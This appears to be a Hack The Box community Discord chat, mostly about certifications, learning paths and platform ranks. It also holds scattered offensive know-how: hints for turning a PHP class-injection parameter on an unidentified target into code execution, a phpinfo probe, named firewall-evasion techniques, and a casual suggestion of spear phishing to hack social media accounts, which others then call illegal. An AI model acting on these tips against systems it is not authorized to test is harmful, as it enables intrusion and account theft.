general

[pure terrace]

yeah for now i think so

[dusky jacinth]

It’s just extra steps really

[pure terrace]

only one left to do

[jagged storm]

Grinding academy will help.

[pure terrace]

im gonna try

[dusky jacinth]

But yeah academy will help

[pure terrace]

some people really recomended it i just dont know how much it's gonna help

[dusky jacinth]

It’ll atleast give you a good idea of what you’re missing and how to find it

[jagged storm]

The penetration tester path will equip you to do most medium, and almost all easy machines.

[pure terrace]

for now ive been able to do some easy on my own really, its just im lacking motivation

[dusky jacinth]

Funny how the at works huh

[pure terrace]

but when i put my mind to it i do tend to get some flags alone

[dusky jacinth]

I’ve actually done easy machines harder then mediums

[pure terrace]

ok thx ill try to remember

[dusky jacinth]

Just cause of docker

And APIs

(Also my Linux priv esc is no bueno)

[jagged storm]

It depends because the pentester path doesn't cover a lot of complex web stuff, and most boxes start with web.

[dusky jacinth]

Yeahhh

[pure terrace]

how do you see next rank and stuff?

[dusky jacinth]

Uhhh

There’s a blog post about it

[jagged storm]

Click on your profile on the site

[pure terrace]

haven't done a lot of boxes but i think i only once saw a box start with a non-web service

idk if that's the correct name

[jagged storm]

They do exist, but it's just less common.

[pure terrace]

yeah

[jagged storm]

Usually they're AD or something

[pure terrace]

i only see the new levels not the hacker rank

[pure terrace]

ohhhh ok

that might be why haha

[jagged storm]

The rank is just below your name, for the old rank.

[pure terrace]

oh but no progress?

wow 67

nice

im thinking of tackling ADs in about 4 months or so

can't wait

[jagged storm]

Rank progress is based on ownership %

It's weird

Well, the old rank, that is

[pure terrace]

no no i know the count and all

it's just before it was shown

[jagged storm]

I don't know where it shows, in the new UI

[pure terrace]

% of ownership was, at least

[jagged storm]

I imagine they're going to just get rid of the old rank, anyway

[pure terrace]

damn

not cool

i liked the old rank system

[jagged storm]

Nah, the old rank sucked lol

[pure terrace]

bruh

i kind of liked that it only counted based on active boxes

[jagged storm]

Do you have VIP+?

[pure terrace]

it was harsh but it gave me a bit more motivation to do boxes

[pure terrace]

no but i did have it for a month some time ago and last month too

[cyan grove]

My 13k usdc on sol got drained out of my phantom wallet yesterday. I had 120k in other coins but they were still there. I haven’t connected my wallet to anything in months and I only used legitimate websites. Below I attached the transaction hash, can someone please look into this and tell me how it happened I’ll pay.

5ZLDLu1oRkqmUk6VQgUtdR4kvxjo9g3SEp4YQJemDYFe7rquXbvk13zcfiMBBcGgXBrCdpLgd4W5DMJCN67ihLh4

[supple plume]

guys

[pure terrace]

i still didn't do the starting point lmao

[jagged storm]

Nobody can help you here.

[supple plume]

help me instead

[jagged storm]

Did you do any old easy retired boxes?

[supple plume]

if I can call an arbitrary php namespace how can I test for RCE

HELP HERE

[pure terrace]

yeah quite a bit, i tried doing one a day. In my profile it says 26 boxes i think it's 25 easy

25 or close to it

it was really a nice month haha

but now back to work...

[supple plume]

php namespace + constructor arguments

[jagged storm]

So, you might have noticed that old boxes were... SIGNIFICANTLY easier than current boxes. Someone who got a rank 5-7 years ago might be like 2-3 ranks lower, if they tried to grind it today.

[supple plume]

HALP

[jagged storm]

But since you can never downrank, you can never tell the skill of someone, by the rank.

[high cobalt]

Namespace but with object?

[pure terrace]

Oh that old? I really did every box back to season 7 i think so maybe not far back enough

but ppl told me they were easier yes

[supple plume]

array with 2 params 1 is the namespace and 2 is the arguments that supposedly the constructor receives

[jagged storm]

There are some boxes that take like 5 minutes. Boot2root level easy.

[pure terrace]

if im correct ranks dont stay you have to have a completion % of active boxes right?

[jagged storm]

You never lose your rank that you earned.

I got hacker like 4 years ago or something lol

I haven't done like any boxes in forever.

[pure terrace]

hoooo

ok

i thought it didn't stay

[dusky jacinth]

Your placement rank changes

[pure terrace]

damn i should have farmed for it when i could

[dusky jacinth]

Just lock in

It’s not that bad

[jagged storm]

Nah, rank is meaningless, which is exactly why they're looking to change it.

[dusky jacinth]

Tedious

[jagged storm]

At least the new rank system is better to gauge how someone is progressing across the platform.

[pure terrace]

yeah ok that makes a lot of sense, i thought i changed with seasons, it actually made a lot of sense for me

[jagged storm]

Season rank does fall off.

[pure terrace]

i get it

that's why im afraid lmao

[jagged storm]

That's a third ranking system lol

[pure terrace]

no not season i did mean old system

hacker and all

[high cobalt]

I am not sure if PHP has something like this bit there might even be a something like a Function class for something like reflection you could call with this to run arbitrary code?

[pure terrace]

i meant i thought it diminished when a completed box was retired

[jagged storm]

Yeah, those will stay. You can never go below, but you need to own everything up to your current rank, and the ownership % required for the next rank, to move up.

Yeah, your current % does go away when something retires.

So like, if I wanted to grind pro hacker, I need to grind up everything to the ownership of hacker, and then also up to pro hacker.

[pure terrace]

yeah makes sense

i get why you say it was bad

not that good indeed

[remote bolt]

<?php phpinfo(); ?>

[pure terrace]

i just don't like the systems where you can see people's progress, puts pressure i think

[jagged storm]

It would be okay if the difficulty never changed, but it did.... drastically lol

[pure terrace]

to grind efficiently

[supple plume]

Im trying to validate if it's what I think or not...

[dusky jacinth]

Boxes are hard ma boi

[jagged storm]

Nah, people celebrate that shit

[dusky jacinth]

Boxes be hard

[pure terrace]

lmao

who would celebrate progressing, embrace staying bad

[jagged storm]

It would be nice to see people progressing. You have no idea how many blue/green posters we get who are stuck at that rank for months/years, because they only do academy.

Now, we can watch you padawans grow

[pure terrace]

yeah makes sense

lmao padawans

[remote bolt]

we live in a world where everyone wants to be the "best"
but bruvv just do ur thang homie dont compare urself with anyone cuz there'll be alwaysz sum1 bEtTaAaHhH

[jagged storm]

Marcie is still skid rank, even lol

[pure terrace]

you'll see me tackle medium boxes and fail now, how cool

[jagged storm]

Marcie will jump up to master rank, in the new system

[pure terrace]

idk who is marcie

for me its the vampire from adventure time

[jagged storm]

Marcie probably helps more people than anyone else in the server lol

[dusky jacinth]

Someone who used to be a mod

[pure terrace]

idk i have sent 2 messages here

at best

[high cobalt]

I am not sure what exactly your case is but if you already know you could call an arbitrary namespace you could try this? https://www.php.net/manual/en/class.reflectionfunction.php Or are you still testing IF you can call an arbitrary namespace?

[turbid goblet]

Nah i think i do

Yesterday i helped someone get to hackthebox.com

[jagged storm]

https://tenor.com/view/girl-sure-jan-sarcastic-brady-bunch-gif-11590179

[dusky jacinth]

From the hack the box discord?

Pro

[supple plume]

yeah I am testing if I can call an arbitrary namespace since the second parameter seems to reflect different outputs changing the values

[dusky jacinth]

Hacky.xs?

Or is it still Xssy

[supple plume]

it's something else

[frigid mountain]

i impulse ordered a racing sim setup

[dusky jacinth]

Valid

Good luck dude

[pure terrace]

ok thx for the help guys, see you

[dusky jacinth]

Say bye to your family while you can

[frigid mountain]

😄

[dusky jacinth]

My dad used to do competitive sim racing

Doesn’t have as much time anymore

[manic anvil]

how dare you hack my computer now all the pop ups are gone

[analog perch]

Lofi time

[manic anvil]

like the wheel and such ?

[frigid mountain]

wheel, 3 pedals, stand and gear shifter

[manic anvil]

that gotta be fun

i saw someone use the airforce training setup to play warthunder lol

[latent oak]

Hihi

[high cobalt]

So the first parameter looks like it could be a function or a class?

[terse dirge]

What's up?

[supple plume]

"spec5":["Base\Modules\ContentGrouping\ApiSpec",{"group_id":"1"}

gtg...

sorry...

[gilded fern]

[high cobalt]

Disclaimer, I am still kinda new to hacking but am a PHP developer so I can only give my ideas. But yeah looks like a namespace to me, too. What happens if you change the name of this class?

[supple plume]

Sorry I had to leave my computer...
When I put a wrong class name it didn't throw any error only gave empty output but it reacted changing the values of the json

[frigid mountain]

i think so...I'm starting the Forza Horizon 5 and Asetto Corsa. Forza is more forgiving and about just having fun driving around. Asetto Corsa is more of a driving simulator with more realistic physics and whatnot.

[latent oak]

Play farming simulator… my new tractor has great handling

[manic anvil]

yeah as backspace said farming simulator would be fun too with the setup

[frigid mountain]

i'll check it out

[latent oak]

Lol, it is kinda boring but I can’t stop playing it

Expanding my lettuce empire

[dusky jacinth]

You know I feel like if played a sim game I’d never play another game

I think I have that kinda autism

[jagged storm]

Allow me to suggest factorio

[dusky jacinth]

I can’t play it

For that exact reason

[latent oak]

Dragons, today I’m offering a 45% stake in my Leaves for Thieves Lettuce company for $6.5 million

[dusky jacinth]

I know who I am

[latent oak]

Same… i def have ADHD, but also potentially mild autism

I love to hyperfocus and infodump

Ask my kids

[high cobalt]

I am kinda intrigued if it has RCE now or at least what some gadgets could be for testing this

[supple plume]

Can I dm?

[high cobalt]

Sure. But as I said I am not that good jet haha. But sure

[frail turtle]

dude I was just playing a link to the past just now

[dusky jacinth]

How was it

[sudden arch]

hey guys

i jsut started my subscription with htb and I completed a module

i realized its very theory heavy and I was wondering if you guys have any suggestion for more hands on content

I am unfortunately someone who mostly learns from hans-on compare to just reading theory

[jagged storm]

Gotta learn to walk, before you can run. Follow one of the skill/job role paths, as they will set you up with what you need.

[sudden arch]

i agree I'm not saying I want to disregard the theory completely, I'm just saying I was surprised but how little pratice there was in the module itself

[jagged storm]

Which direction are you trying to go, and how much experience do you have?

[sudden arch]

in cybersecurity I have almost 0

but I just graduated as a computer systems engineer

I am mostly leaning towards red teaming, maybe do blue team later on but for now for sure read team

[rancid snow]

usually other way around

[jagged storm]

The 'penetration tester' job role path will start you out with some theory, and then jump into practical training.

[rancid snow]

red team is high supply, low demand. high skill requirements

[sudden arch]

ya thats the one i started with

[rancid snow]

blue team is highish supply , high demand, lowish skill requirements

[sudden arch]

mmmm i see

[latent oak]

@rancid snow any joker with AI and a 2 CPU Kali machine can do red teaming… ask me how I know 😉

[jagged storm]

In that case, it only has minor theory before it gets into action.

[glass ibex]

at start it is loaded with theory

[rancid snow]

Facts with an asterisk

[sudden arch]

mmmmmm okok

[sudden arch]

ya I was worried that it would be mostly theory

[jagged storm]

Nono, just the start.

And a little at the end, regarding reporting/note-taking.

[sudden arch]

well thats good to know at least

is there a specific role path you would recommend for red teaming specifically?

[rancid snow]

Still have lots of work left on my project, but I think by end of next weekend it should be bearing some fruit

would be this weekend but Im going to the zoo with fam

[jagged storm]

You have to do penetration testing, before you can do red teaming.

[sudden arch]

oh I will dont worry im not gonna skip it

i just like to plan stuff out

[latent oak]

@rancid snow look forward to hearing about it

[glass ibex]

you are on the right path

[jagged storm]

but CAPE basically is the follow-up towards AD, after CPTS.

[rancid snow]

I think in retrospect I could have halved the amount of time its been taking me, but it is also literally my first AI involved project so learning time was part of the goal

[latent oak]

@rancid snow dm?

[rancid snow]

sure

[glass ibex]

you can't jump into the sea without knowing how to swim

[sudden arch]

is that the "Active Directory Penetration Tester" job role path?

[sudden arch]

agreed

[glass ibex]

bruhh just don't over think for now

just go through the path that you enrolled

you will find your way

[frail turtle]

good

[supple plume]

https://tenor.com/view/the-horrors-persist-the-horrors-persist-but-so-do-i-sunset-pink-depressed-gif-789389344890958049

[jagged storm]

Yeah. It's meant to be done after CPTS.

[vestal nimbus]

I have a question concerning CPTS.

[sudden arch]

alright perfect, thank you guys for your help

[vestal nimbus]

Not sure if I'm allowed to ask, but is EVERYTHING in the modules on the exam or most of the material?

[jagged storm]

If you're thinking about jumping into it, though, it's both quite expensive, and will be significantly difficult.

[dusky jacinth]

Everything in the CPTS path could be on the exam

[latent oak]

Yeah, try lots of things… figure out what you like

Then pursue certs if you want

[terse dirge]

Yeah, all the modules in the path should be the bare minimum for the exam

[limber arch]

https://tenor.com/view/ai-cat-cat-bread-gif-13133767875531312554

[reef vault]

hello, who do i talk to if i found a teeny tiny mistake in the nmap course? it might not be one but i just want to talk about it in case its something useful. if not well i sincerely apologise

[rancid snow]

thanks sending this to daughter

[rough mirage]

[rough mirage]

what's the mistake?

idk why you need a course for nmap, pretty easy to figure out

[reef vault]

its nothing and i find myself annoying to even mention it but when they list the options used in the example, there is just one that was not mentionned thats all

[reef vault]

first of all im new to all this, second im doing the path for the cpts certificate

kinda forced to go through it

also doesnt do any harm to go in depth

[turbid goblet]

hes gotta be trolling

[rough mirage]

ah I see

[rough mirage]

got u

[turbid goblet]

tell me how to evade fw

30 seconds no googling

[rough mirage]

hm?

[turbid goblet]

ok

dont listen to him

[rough mirage]

?

[reef vault]

im confused

[rough mirage]

don't listen to me? why?

[turbid goblet]

keep learning nmap

[rough mirage]

I didn't tell him to stop learning it, you can pretty much learn everything u need to know about nmap on the man page

I watched a yt course on nmap too tbf

[reef vault]

yk i started all this only 3 days ago

i already beat some boxes

in only 3 days

[turbid goblet]

yeah hes new lmao

doing a module is a good idea

[reef vault]

im doing a path

pentest

[turbid goblet]

u made it sound like it wasnt a good idea for him to do the nmap module

[terse dirge]

nmap --help will help with that

[rough mirage]

its not because the htb one is shit

better off watching some yt tutorial

[rough mirage]

also this doesn't exactly have one answer, no?

[turbid goblet]

its doesnt

[rough mirage]

by fw I assume u mean firewall

[turbid goblet]

but u didnt name one in 30secs

[reef vault]

@rough mirage how long have u even been doing all this

[rough mirage]

ok my bad mr

[rough mirage]

like a year idk
I have a comptia network plus

that's about it, working on other certs

[quaint sun]

anybody seen more about this? https://copy.fail/

[reef vault]

a year and cant name one evade fw? although i started 3 days ago and its like u judge me for learning

ig u gotta check out that module aswell

[rough mirage]

a year on and off, yeah, I have a cert but I can't tell you what an mtu is. never said I was good

[turbid goblet]

is fragmenting packets

so u confuse the fw

ffs bro i feel like i keep hearing microsoft teams pings

[analog perch]

I wanna change my name to undecillion

[rough mirage]

u have a job?

[analog perch]

ahaha that's very cool

[turbid goblet]

yes im a cyber sec analyst

u want it?

im over it

[rough mirage]

other way is spoofing the source iirc
idk im not good at this

[analog perch]

https://tenor.com/view/will-ferrell-confused-math-huh-what-gif-10118626

[turbid goblet]

yeah decoinyg ips

you can also spoof ports

[rough mirage]

yeah

[turbid goblet]

then obviously timing

idk what else after that

[rough mirage]

me neither

oh

I think there's one where you don't actually send it but it's via a zombie or smth

?

[latent oak]

Yes, I’ve been reading about it today

[turbid goblet]

yeah that sounds right

[latent oak]

Requires local access

[analog perch]

@jagged storm I found SQM build-in cake thing in cheaper option. let's see I will get a bit later. I'm going to have full of routers in my house. I don't know what tha hack

[latent oak]

But it’s a container escape

[turbid goblet]

idk ur right tho man page helps but all i wanted to point out is it makes sense to do the module

[rough mirage]

nah ill live off my trust fund 🙏

[rough mirage]

yeah I get what u mean

[quaint sun]

I'm curious to test it on an HTB box (that I've already completed) but is that frowned upon?

[latent oak]

I should think

Set it up on your own pc

Podman or docker

Test it out

[quaint sun]

Yeah, I was thinking that too

Don't have a usable PC or SBC though, so I'll sit it out

[rough mirage]

i should download more ram fr

[latent oak]

Really? I am running 5 containers on my shitty kali box

It doesn’t need to be that powerful

[quaint sun]

This laptop has been through it, no space, I can hardly install new software. I'm just trying to fix my PC, then I'll be back on that.

[latent oak]

Ah

I’ve flagged it for exploration tomorrow

[thick jacinth]

Guysss

What is correct way to learn scripting

[turbid goblet]

to script

[thick jacinth]

What should be my first project

Nd from where

Im COMPLETE beginner in cybersecurity

[reef vault]

start by learning the basics

to understand what you're working with

then get to scripting

try the Getting Started module

its really good

i beat my first box thanks to that

[west lynx]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

No hints are allowed for the duration of the event. Once the event is over, feel free to share solutions.

[thick jacinth]

Done the basics solved approx 70 THM rooms

In which pre security completed and soc L1 path done 50%

[ocean rune]

Any admin I can give a quick nudge in PM?

[turbid goblet]

are u 1% tho

[thick jacinth]

Me?

[turbid goblet]

yes 1% on thm

[thick jacinth]

Im in top 6% thm

Is it good or bad?

[rancid snow]

1% thm isnt even scratching the basics yet

its a meme for a reason

[thick jacinth]

Means it's a big joke being top 1%›

[ocean rune]

@rancid snow I am 2% there and I can confirm that being there ~2-3% is good enough to pwn a easy box on HTB lol

[thick jacinth]

By pwn u mean to compromise right?

[turbid goblet]

kek

[ocean rune]

that is what it means right

[thick jacinth]

Lol

So hack the box is better then thm

[ocean rune]

Anyway, any staff I can DM?

[thick jacinth]

Top 6% is way too low?

[molten bobcat]

I'm sleepy

[rancid snow]

technically according to the rules were not allowed to disparage htb's competitors.

So with that in mind I can say thm is a good for an initial introduction but theres a vast world out there

[thick jacinth]

Diplomatic answer but I got the crux 😂

[rancid snow]

I got 6% just doing some random christmas event that I was basically half asleep at the keyboard for

[turbid goblet]

did u win any gifts

[rancid snow]

no

[ocean rune]

the problem with thm is this: the labs are made by children that think they are funny making steghide images that need different mime types to extract a funkie password

[turbid goblet]

based

[thick jacinth]

Im solving paths

[tough oyster]

Top % fron THM is a joke

[turbid goblet]

rem the goat

[thick jacinth]

Is it hard to get in top % in HTB

[ocean rune]

Rem, can I dm you something quick before I go offline?

[rancid snow]

yeah thm rooms are mostly just toy puzzles.

arguably so are a lot of htb boxes too, but they at least tend to wear the skin of the real world

[ocean rune]

2 months of grinding

[rancid snow]

without cheating? yes. thats a lot of time commitment involved

[thick jacinth]

For bug bounty is this the right platform?

[rancid snow]

eh

[thick jacinth]

People reccomend portswigger

[rancid snow]

portswigger is good for web stuff yeah

I recommend that for sure

[ocean marsh]

portswigger is very good to learn web and its free

[thick jacinth]

But idk it's actually challenging for me

[ocean marsh]

everything will be challenging if you're starting

[turbid goblet]

nothing great comes easy

[thick jacinth]

I just got my first laptop so everything here is very confusing before this I was only familiar to Android

[rancid snow]

if port swigger isnt challenge for you then youre off to a decent start

[latent oak]

Nope 😉

[thick jacinth]

It's like switching to Windows then all of a sudden getting vm nd linux in it

Nd now port swigger was like insane difficulty for me even UI is confusing

[latent oak]

I’m kidding, it is difficult and it takes a long time (or did for me anyway)

[thick jacinth]

Ahmm makes sense

[cunning tulip]

Easy lab on thm: 😊
Easy lab on HTB: 😢 🔥 💥 😔

[rancid snow]

thm hard is genuinely htb easy lol

[cunning tulip]

Nah i spent 2 says on fluffy this week actually why is that not a medium

[rancid snow]

for another comparison sake, OSCP boxes cap out at low medium htb

[rancid snow]

not done that box and just read 0xdf's summary with it and ya know what I agree with you that does sound like a medium lol

[thick jacinth]

How does someone get good at scripting

[cunning tulip]

Lowkey anything to do with certs in any domain of IT just completely cook me

[thick jacinth]

And how to make your first project

[cunning tulip]

Practice

Id not focus on security until you have the fundamentals down

[thick jacinth]

But where am I supposed to practice

[cunning tulip]

What language?

[thick jacinth]

Bash

[turbid goblet]

in a terminal then

[cunning tulip]

YouSuckAtProgramming on YouTube is good

[thick jacinth]

😐

[cunning tulip]

And I'm fr that's the name

[thick jacinth]

They have projects?

That I can make while I learn

[cunning tulip]

They designed their website so you can use curl to browse it in a terminal

And they have videos to teach you

I honestly don't know of anyone better at bash but I also don't do much bash anyways

[thick jacinth]

Just tell me if I'm doing right way I will tell u the road map I'm following

[rancid snow]

bash isnt much of a 'project' language

[cunning tulip]

There isn't no "right way" it depends on how you learn

[rancid snow]

99% of actual bash usage is just learning command linux sys utils and how pipes work lul

[thick jacinth]

I completed pre security nd jumpeed to soc L1 THM path and then I learnt a bit of bash and I need to practice nd I'm learning networking side by side

U think I'm following the right path

??

[cunning tulip]

Id do one thing at a time starting out

Networking is hard enough on its own

[thick jacinth]

We can't do cool stuff with bash?

[cunning tulip]

??

[thick jacinth]

Like automating something crazy...

Can it control our keyboard and mouse? And clicks?

[rancid snow]

uhh sorta? but itd be a pita

bash isnt really a full programming language, its best usage is combining other tools together

(yes I know bash is turing complete and strictly definitionally speaking is a full programming language but you know what I mean)

[worn viper]

If you are interested HTB Academy have a SOC learning job path

[thick jacinth]

Paid?

[cunning tulip]

Id use python at that point

[worn viper]

yes
https://academy.hackthebox.com/app/paths/390/details

[thick jacinth]

Me clicking random links lol

[turbid goblet]

oof

[thick jacinth]

That two when Im Between hackers 💀

[turbid goblet]

yeah u need that path

[thick jacinth]

Ohkk

Im already 50% in soc path of thm

Should I leave in between nd start fresh?

[dusky jacinth]

No

[thick jacinth]

With htb

[dusky jacinth]

Finish it then move on

Don’t quit halfway through

[thick jacinth]

Ok okkkkkk

What was your learning path?

[dusky jacinth]

Then you’ll really understand the difference between the two platforms

[worn viper]

No, you can just finish your THM learning path and then moving on the HTB path for modules you feel interesting to you, you can purchase specific modules instead of the whole path

[dusky jacinth]

CompTIA a+ > CPTS

[thick jacinth]

Broo u guys think wireshark is difficult tool?

[dusky jacinth]

No

[ocean marsh]

@thick jacinth are you a student?

[thick jacinth]

Yes

[dusky jacinth]

It’s weird, but just watch a yt video

[ocean marsh]

then dont buy modules or paths, just use the student sub if you can

[dusky jacinth]

^

[thick jacinth]

THM made the wireshark a complete horror show

[dusky jacinth]

I bet

[thick jacinth]

Elaborate

[worn viper]

True, didn't think of that, wish i was still a student

[dusky jacinth]

Don’t pay for any subs besides the student subs when you transition to HTb

[ocean marsh]

https://help.hackthebox.com/en/articles/13465244-getting-the-student-subscription

[dusky jacinth]

It’ll save you money

[thick jacinth]

Thanks mate

[ocean marsh]

The basic paths can get pretty expensive if you're not a student

[dusky jacinth]

While you’re a student

[worn viper]

Yeah, for me that don't want to pay yearly subs for the Pen tester path it's about 2 months of platinum subscription cubes (about 135dollars)

[dusky jacinth]

Mhm

[ocean marsh]

damnnn

[dusky jacinth]

It one of the cheaper options still imo

[ocean marsh]

• exam voucher

even more money there

[thick jacinth]

U guys make notes

[dusky jacinth]

Yup

About 400 ateotd

[thick jacinth]

Or just keep everything in your head

[dusky jacinth]

Both

[thick jacinth]

Apart from networking nd scripting I don't see any point of notes

I just downloaded cheat sheet for tools

[worn viper]

Yeah, but i don't want the exam, just want to have a learning path, learn by doing machines and when i feel good go for OSCP+

[ocean marsh]

thats good, follow lains kusanagi list for OSCP

[worn viper]

Most pentester job listing i've checked ask for OSCP so that's the good way i think

[obtuse fern]

notes allow you to make sense of the cheat sheets; the HTB exams don't test you on copy/pasting commands

[worn viper]

I'll put that in my notes thank you

[obtuse fern]

the report expects you to have some knowledge of what you did, why you did it, and the impact and remediation

[ocean marsh]

yw, nice profile btw

[worn viper]

Thank you

[undone fossil]

For landing interviews yeah it's decent

[dusky jacinth]

You got OSCP money?

We got OSCP at home

[rancid snow]

nowhere near as good as it used to be though

[dusky jacinth]

OSCP at home:

https://preview.redd.it/i-passed-pt1-review-feedback-v0-x7js18mv8w5f1.jpeg?width=640&crop=smart&auto=webp&s=86766eac6210558fde2e2df46be3456fb6aa3a39

[rancid snow]

places want more now

[dusky jacinth]

I didn’t realize that’d paste that dudes whole Reddit link

I just wanted the picture

[terse dirge]

at chevelle I saw a guy with a THM shirt on

[dusky jacinth]

Did you kill them?

[undone fossil]

Sure yeah but still hard to name a better cert general in terms of pure recognition value

[rancid snow]

for sure

[terse dirge]

no but he had a defcon 30 hat and I wanted to talk to him about the defcon group in my city

[dusky jacinth]

Did you

[worn viper]

Well actually no, but in 3 years i should have it

[dusky jacinth]

My prayers are with you then

[worn viper]

Thank you

[rancid snow]

idk if oscp will be worth it in 3 years lol

itll cost twice as much on top

[turbid goblet]

why not

oh or u just mean the price worth not the value of the cert?

[rancid snow]

that and the trend of less and less importance being certs at all in a saturated market

[terse dirge]

no

I would've been too high anyways to talk

[frosty thistle]

https://tenor.com/view/ai-the-somnium-files-somnium-somnium-files-ai-aiba-gif-14636491456412264235

[buoyant minnow]

what tools would you need for mobile challenges

[jagged storm]

They do have the benefit of it expiring now, though

So even if they don't have a lot of new people, they have a steady stream of existing ones

[lilac sundial]

Anyone else out there having issues with getting the machines to start? I've tried a few different machines, and I'm having issues with them all. Error: Failed to spawn

[undone fossil]

Nah that's just the "plus", used for gov roles where renewable certs are required

[patent lily]

very nice

[jagged storm]

And for random HR that demands the plus because 'it must be better'

https://tenor.com/view/these-go-to-eleven-nigel-tufnel-this-is-spinal-tap-these-go-higher-than-ten-these-go-beyond-the-limit-gif-14815064966019984807

[sharp shuttle]

If you are good you wouldnt ever talk to an HR lady until you are signing onboarding paperwork

[upper badge]

Hello is there any hackers here ? Im looking to create a clan and work together for a project, dm me.

[turbid goblet]

sorry no hackers here

[upper badge]

Even having some experience like creating webs or like discord bots is good for a beginner

[latent oak]

A clan?

https://tenor.com/view/home-alone-family-sucks-family-new-family-kevin-mccallister-gif-823429599366584146

[jagged storm]

For what project

[turbid goblet]

studying done emiru live bye bye gl

[limber arch]

oh boy

[split patio]

[turbid goblet]

[jagged storm]

https://tenor.com/view/star-wars-meme-its-an-older-meme-but-it-checks-out-gif-14147822

[turbid goblet]

actually i dont know the meme

he jus look cute n silly

[jagged storm]

It's dolan

[turbid goblet]

this look like a 9gag level meme

finnish board

[split patio]

https://tenor.com/view/garen-mog-garen-garen-mew-league-of-legends-meme-gif-14777060859658316031

[undone fossil]

At which point its not a company you wanna work for 👍 goes both ways

[raven rain]

https://tenor.com/view/star-wars-meme-its-an-older-meme-but-it-checks-out-gif-14147822

[snow wraith]

[gaunt gale]

hi guys how is everyone?

[analog perch]

studying...

[gaunt gale]

I finished a make up electronics lab today

[upper badge]

Its a little deep, but not illegal, Im going to create the best hacker group in the world.

[analog perch]

what's that?

[iron galleon]

i lowkey thought i just got banned from claude/anthropic lmao

apparently theyre down

[gaunt gale]

I'm taking electronics classes at a trade school in my area

three year trade

[analog perch]

Awesome

[gaunt gale]

whatchu studying?

[upper badge]

Even if it's illegal, it's for a good cause.

[analog perch]

Networking for now

[gaunt gale]

nice I had a CCNA but it expired

[analog perch]

mine is CCNT

I don't know if there is an expiration

that's a huge topic: Networking

[gaunt gale]

there normally is for Cisco certs

[analog perch]

oh that's good to know

[sick gate]

If you're working in the field no one gives a shit about your certificate being expired unless it's required active for some gov shit

No one's going to care or check

[undone fossil]

yeah like unless its required to be able to make the company money, they have zero reason to care

i.e. maintaining check team member status

[rancid swallow]

[dusky cairn]

I have CCNA but it took me a year of study lol

[stable tapir]

Hello guys I'm new here

[dusky cairn]

hi

[stable tapir]

Wassup

[dusky cairn]

going to bed, you ?

[stable tapir]

Same

[dusky cairn]

u learned something today?

[stable tapir]

Nah I haven't start yet

Do you know how to hack?

[dusky cairn]

yes but I'm a beginner

[stable tapir]

Same so what can you hack right now for me I haven't learn how to hack anything I'm just trying to learn now

[dusky cairn]

I hacked a wireless network 😀

[stable tapir]

Really did you learn it here?

What about social media?

[dusky cairn]

no, I learned on youtube by myself

is not that hard

[stable tapir]

Oh ok I thought you learned it here so you came here to learn more

[dusky cairn]

for social media you can use spear phising

[stable tapir]

Is it free?

[dusky cairn]

😆 yes

[stable tapir]

Like I can search it on Google

[stable tapir]

Please can you teach me 🙏🏻

[dusky cairn]

you can use google and AI is everything what you need

[jagged storm]

https://klipy.com/gifs/dead-to-me-6

What am I reading

[dusky cairn]

😆

hackers

[stable tapir]

No like I can see the spear phising on Google

[dusky cairn]

how old are you ?

[stable tapir]

I'm 20 but I'm new in anything hack

I have no clue

[dusky cairn]

first you need to start learning the foundation the concepts

start with tryhackme is very beginner friendly

it's illegal

[jagged storm]

This is illegal.

[stable tapir]

Ok 🆗

[dusky cairn]

if you hack your girlfriend account too see with who is cheathing you will go to jail bro

[stable tapir]

How old are you?

[dusky cairn]

40

[rancid swallow]

[stable tapir]

Then why you scared

[jagged storm]

What does scared have to do with it?

[dusky cairn]

I'm scared for you., if you go to jail

[stable tapir]

I can't sacred or none of that

[stable tapir]

I'm not gonna go to jail bro chill

[jagged storm]

Correct. You will go to prison.

Federal prison.

[stable tapir]

Nah I'm not what about you how old are you?

[dusky cairn]

if you break the law you go, and there in the showers is not nice buttnaked with some 30 dudes waiting for you to drop the soap

[rancid swallow]

whats the age has to do about it

[jagged storm]

Old enough to know better. Fuck off with illegal requests.

[stable tapir]

Oh my bad

[dusky cairn]

nobody is scared but the difference is we have brain 🙂

[jagged storm]

We don't give a shit. It's against the server rules, against discords rules, and there are probably even feds sitting in this channel right now, adding you to a watch list.

[stable tapir]

Damnnnn

[stable tapir]

Yeah I know

[jagged storm]

So again, stop or be removed.

[stable tapir]

My bad

I already stop I was just joking around

[rancid snow]

lmao classic larping loser

little bitch behavior

[jagged storm]

Bro, I was even thinking of you, during this shit lol

[stable tapir]

Yoo I already apologize

[jagged storm]

No survival mechanism

[rancid snow]

words are cheap to type, but the chud is internal

[proper dragon]

There are absolutely feds in this channel

[alpine pumice]

rat himself is a fed

[jagged storm]

https://tenor.com/view/spy-tf2-spy-x-family-spy-bruh-bruh-moment-gif-25527210

You can tell I'm not a fed because I gave up mod powers

A fed would want to stay in power

Only existing mods are suspect

[dusky jacinth]

that's what a fed would say.

I see you TAO.

[alpine pumice]

exposed

[jagged storm]

https://tenor.com/view/waltergotme-gif-18867690

[rancid swallow]

[dusky jacinth]

feds

@jagged storm

to be percise

[copper wedge]

wassup gng what vpns can you recommend me?

[dusky jacinth]

tailscale

[rancid snow]

depends on what you use it for

[dusky jacinth]

mullvad

[worthy cargo]

Any of them.

[dusky jacinth]

nord

[jagged storm]

https://tenor.com/view/bye-cat-meow-chat-gif-14778852254694362862

[worthy cargo]

Literally any VPN

Wont' protect you from shit.

So pick any of them and be merry

[copper wedge]

i know it and i want vpn that is not mostly blocked in websites and has a good speed

[dusky jacinth]

nord will be fine then

[frozen terrace]

Yeah, it's more like shifting trust from your ISP to your vpn of choicr

[dusky jacinth]

shoot even the firefox VPN would prolly work

[copper wedge]

what's your opinions on 1VPN?

[rancid snow]

never heard of em

[frozen terrace]

Proton vpn seems sus tho

[rancid snow]

if you have basic needs then nord is probably the best basic vpn

[dusky jacinth]

I think they're like 1password

like a subsidiary

[rancid snow]

stressing the word basic here

[copper wedge]

yeah i used proton and some websites blocked it

[dusky jacinth]

Proton VPN is sus

[rancid snow]

any vpn you use is going to get some places to block you

[dusky jacinth]

all VPNs are sus

they're just pretend ISPs

[copper wedge]

100% agree

[dusky jacinth]

bruh

[dusky cairn]

make your own vpn

[dusky jacinth]

tailscale ^^

[rancid snow]

if your only requirements are fast and websites dont block you, then actually your best bet would be to set up a tail scale or equivalent on an amazon instance

[dusky jacinth]

(you won't have to pay money if you use tailscale)

[terse dirge]

vpns are essentially secondary ISPs.

[copper wedge]

is it tor based?

[rancid snow]

cause then sites shouldnt even know youre using a vpn

[dusky jacinth]

